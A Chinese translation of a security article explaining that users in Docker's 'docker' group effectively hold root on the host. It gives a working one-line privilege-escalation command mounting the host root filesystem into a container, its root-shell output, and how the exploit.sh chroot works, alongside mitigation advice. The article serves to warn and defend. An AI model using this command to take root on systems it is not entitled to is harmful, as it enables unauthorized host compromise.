Docker安全:通過Docker提升許可權
docker
使用者組,那麼這個使用者相當於直接獲得了宿主機免認證的 root
許可權。本文中的情況出現的情況比較苛刻,所以大家可以把這篇文章當做一個 warning
問不是 error
。
文章太長不要看,一句話,不要用
docker
使用者組。如果你對 Docker 不熟悉的話,簡單來說,Docker 是一個輕量級的應用容器。和常見的虛擬機器類似,但是和虛擬機器相比,資源消耗更低。並且,使用和
GitHub
類似的被 commit
的容器,非常容易就能實現容器內指定執行環境中的應用打包和部署。問題
如果你有伺服器上一個普通使用者的賬號,如果這個使用者被加入了 docker
使用者組,那麼你很容易就能獲得宿主機的 root
許可權。
黑魔法:docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
輸出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease [...] You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell
whoami
root #此處是容器內部,但是容器已經 chroot /hostOS,所以相當於直接獲取了宿主機的 root 許可權。
#
譯者一直以為是 Ctrl-D 之後,宿主機的
shell
變成root
,實際上不是。
諮詢了作者 Chris Foster 得知,是在容器內獲得宿主機的root
許可權。
是不是想起了以前譯者在 Docker 安全 中提到的容器內部的 UID=0 對容器外部某個不明程式執行了chmod +s
?
解釋
當然,所有的解釋匯成一句話,應該就是:docker
組內使用者執行命令的時候會自動在所有命令前新增 sudo
。因為設計或者其他的原因,Docker 給予所有 docker
組的使用者相當大的權力(雖然權力只體現在能訪問 /var/run/docker.sock 上面)。
預設情況下,Docker 軟體包是會預設新增一個 docker
使用者組的。Docker 守護程式會允許 root 使用者和 docker
組使用者訪問 Docker。給使用者提供 Docker 許可權和給使用者無需認證便可以隨便獲取的 root
許可權差別不大。
解決方案
對於 Docker 來說可能很難修復,因為涉及到他們的架構問題,所以需要重寫非常多的關鍵程式碼才能避免這個問題。我個人的建議是不要使用 docker
使用者組。當然,Docker 官方文件中最好也很清楚地寫明這一點。不要讓新人不懂得“和 root
許可權差別不大”是什麼意思。
Docker 官方也意識到了這個問題,儘管他們並沒有很明顯地表明想去修復它。在他們的安全文件中,他們也的確表示 docker
使用者組的許可權和 root
許可權差別不大,並且敬告使用者慎重使用。
漏洞詳情
上面那條命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
,主要的作用是:從 Docker Hub 上面下載我的映象,然後執行。引數 -v
將容器外部的目錄 /
掛載到容器內部 /hostOS
,並且使用 -i
和 -t
引數進入容器的 shell
。
這個容器的啟動指令碼是 exploit.sh
,主要內容是:chroot 到容器的 /hostOS
(也就是宿主機的 /
),然後獲取到宿主機的 root
許可權。
當然可以從這個衍生出非常多的提權方法,但是這個方法是最直接的。
本文中所提到的程式碼託管在 Github,映象在 Docker Hub。
原文連結:Privilege Escalation via Docker (翻譯:SegmentFault社群 審校:魏小紅)
=============================================
譯者介紹
本文由 SegmentFault 社群 組織翻譯。SegmentFault 正在組織翻譯更多 Docker 文章,包括:Docker 安全、搭建 Rails 環境、甚至搭建 .NET 環境等,歡迎關注我們。
相關文章
- MySQL許可權提升及安全限制繞過漏洞(轉)MySql
- 普通使用者許可權執行dockerDocker
- Guest許可權突破——許可權提升方法總結(轉)
- Java安全之Filter許可權繞過JavaFilter
- 給非 root 使用者新增 docker 使用許可權Docker
- 不用root許可權也能執行Docker——細數Docker 1.10的新功能Docker
- Metasploit許可權提升全劇終
- Docker 映象倉庫為什麼要分庫分許可權?Docker
- Docker容器執行時許可權和Linux系統功能DockerLinux
- 通過docker部署lnmpDockerLNMP
- PostgreSQL_通過schema控制使用者許可權SQL
- 通過 VirtualApp 實現免 Root 許可權 HookAPPHook
- 每日安全資訊:全部 Docker 版本都存在漏洞,允許攻擊者獲得主機 root 訪問許可權Docker訪問許可權
- Android安全—許可權模型Android模型
- 許可權概念、許可權提升概念以及許可權提升的分類和目的 Windows 提權的基礎原理是瞭解作業系統的安全機制和許可權管理 Windows提權攻擊的進一步知識概念Windows作業系統
- 通過 recompose 實現 react router4 許可權React
- 通過資料庫鏈執行DML所需許可權資料庫
- 警惕,通過SQL Server 使用者來新增Windows帳戶並提升為管理員許可權SQLServerWindows
- docker(二十三):docker通過docker-compose部署redmine服務Docker
- 使用LDAP查詢快速提升域許可權LDA
- Windows環境下提升程式的許可權Windows
- Oracle的物件許可權、角色許可權、系統許可權Oracle物件
- mongoDB 3.0 安全許可權訪問MongoDB
- 資料安全之許可權控制
- 通過shell得到資料庫中許可權的指令碼資料庫指令碼
- oracle 通過trigger解決drop許可權問題Oracle
- 許可權之選單許可權
- 儲存過程與許可權儲存過程
- 如何用 Vue 實現前端許可權控制(路由許可權 + 檢視許可權 + 請求許可權)Vue前端路由
- 基於Linux許可權提升的資訊收集Linux
- linux 檔案許可權 s 許可權和 t 許可權解析Linux
- Linux下通過受限bash建立指定許可權的賬號Linux
- 通過可寫檔案獲取 Linux root 許可權的 5 種方法Linux
- 超過40個Windows裝置驅動程式包含提升許可權的漏洞Windows
- 許可權系統:一文搞懂功能許可權、資料許可權
- Docker 掛載許可權 chcon: can't apply partial context to unlabeled fileDockerAPPContext
- golang 通過docker 搭建 ocr識別GolangDocker
- 通過 Laradock 學 Docker —— 配置篇Docker